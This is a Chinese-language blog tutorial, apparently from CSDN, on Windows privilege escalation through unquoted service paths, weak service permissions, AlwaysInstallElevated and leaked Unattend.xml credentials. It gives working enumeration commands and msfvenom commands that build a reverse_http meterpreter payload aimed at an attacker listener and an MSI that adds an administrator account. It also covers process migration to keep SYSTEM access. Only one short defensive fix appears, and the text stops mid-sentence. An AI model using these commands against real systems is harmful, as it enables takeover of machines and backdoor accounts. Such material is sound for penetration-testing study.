
一、无引号服务路径 ( Trusted Service Paths )
先说实用度,比较被动,而且比较看脸。
Windows下服务的权限通常是SYSTEM。如果我们能够替换服务的启动程序为我们的恶意程序(如反弹shell),即相当于获得了SYSTEM权限,达到了提权的目的。
无引号服务路径有可能会导致这种情况的发生。
所谓无引号服务路径,就是服务启动程序的路径中包含了空格且未被引号包含起来。比如这样
C:\Program Files\floder1\service.exe
因为空格的存在,Windows在启动服务找寻服务启动项时,它会按照以下顺序进行启动项寻找
C:\Program.exe
C:\Program Files\Some.exe
C:\Program Files\Some Folder\Service.exe
这就给了我们有机可乘的机会:如果我们在服务的上层目录有写入或完全控制权限,我们完全可以将一个可执行文件放在Windows搜寻服务启动项的更靠前顺序上。

我们用以下命令来搜索哪些服务路径没有包含引号
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """

然后使用icacls命令查看在2345Explorer目录的权限如何

users组是完全控制权(F),那么我们直接用msfvenom构造一个反弹shell的exe。命名为Protect.exe,放入2345Explorer目录。我这里随便编码了一下
msfvenom -p windows/meterpreter/reverse_http -e x86/shikata_ga_nai LHOST=192.168.111.129
LPORT=10068 -f exe -o Protect.exe
msfvenom -p windows/meterpreter/reverse_http -e x86/shikata_ga_nai LHOST=192.168.111.129
LPORT=10068 -f exe -o Protect.exe

然后我们现在是没有能力重启服务的。。只能等管理员重启服务或者机子重启。然后就拿到SYSTEM权限了。但是这里还有一个坑点,这个坑点是如果一个服务启动后在一定时间内未与 Service Control Manager(SCM) 通讯,就会被停止。

所以我们要在拿到shell后及时的转移进程或者添加管理员账户。
转移进程在msf中很简单,meterpreter中先用ps查看进程,随便找一个system权限,记住其pid,然后 migrate PID 即可完成进程迁移。
下面来说说防治方法吧。进入注册表修改窗口,在 HKEY_LOCAL_MACHINE >> SYSTEM >> CurrentControlSet >> Services 路径下找到存在漏洞的服务,修改其ImagePath,把路径前后加个引号就可了。
二、易受攻击的服务(Vulnerable Services )
同样看脸且被动
这个攻击方法大致分两类
1.替换服务的二进制文件。这个方法较为简单,如果对服务二进制文件所在目录有修改权,那么我们完全可以创建一个恶意程序来替换原有的二进制文件服务。这个比较简单,而且基本上攻击流程和Trusted Service Paths如出一辙,同样也是比较被动地等待重启服务才能弹shell,就不再演示了。
2.修改服务的属性。如果我们能修改服务的 BINARY_PATH_NAME 属性(这个属性用于指向服务的二进制文件),我们就可以通过设置 BINARY_PATH_NAME 的值为系统命令,然后重启服务时我们的系统命令会被执行。
对于后者,我们需要一款工具来快速揭示出我们能修改哪些服务的属性。
这个工具我们采用accesschk.exe,它是微软产出的,基本不会报毒。
我们通过该工具执行以下命令
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
or
accesschk.exe -uwcqv "Users" * /accepteula
来查看Users组(根据实际情况来填哪个组)对哪些服务有哪些权限
如果对某个服务有service_all_access或者以下权限,就说明能对其属性进行修改。

比如我们对Spooler服务有service_all_access权限,我们就可以这样做。
通过修改其binPath为恶意指令,然后等待管理员重启服务,我们的恶意指令就会被执行。

三、AlwaysInstallElevated
[HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer]
“AlwaysInstallElevated”=dword:00000001
[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer]
“AlwaysInstallElevated”=dword:00000001
那么所有msi(windows应用安装程序)都会以SYSTEM权限运行。此时如果我们执行一个恶意msi程序,即可达到提权目的
同时需要注意的一点是,这个注册表项不一定总是存在的。(比如我的实验机
我们可以通过reg query来验证这两条注册表项的情况
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
若均为1,我们就可以通过msfvenom生成恶意msi来提权
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o rotten.msi
然后执行,获得一个管理员账户。
四、信息泄露
Unattend.xml sysprep.xml和sysprep.inf文件GPP.xml 存在着一定信息泄露,他们通常存在于以下路径
C:\Windows\Panther\
C:\Windows\Panther\Unattend\
C:\Windows\System32\
C:\Windows\System32\sysprep\
找到后,找到 Unattend.xml 文件中的标签。就有可能找到用户的加密后的密码。。
<UserAccounts>
<LocalAccounts>
<LocalAccount>
<Password>
<Value>UEBzc3dvcmQxMjMhUGFzc3dvcmQ=</Value> //PASSWORD
<PlainText>false</PlainText>
</Password>
<Description>Local Administrator</Description>
<DisplayName>Administrator</DisplayName>
<Group>Administrators</Group>
<Name>Administrator</Name>
</LocalAccount>
</LocalAccounts>
</UserAccounts>
一些敏感文件查询指

本文详细介绍了利用无引号服务路径、易受攻击的服务、AlwaysInstallElevated注册表设置、信息泄露、委派攻击及POTATO家族技巧等,展示了Windows系统中潜在的提权方法,以及防治措施和实战操作。
3301

被折叠的 条评论
为什么被折叠?



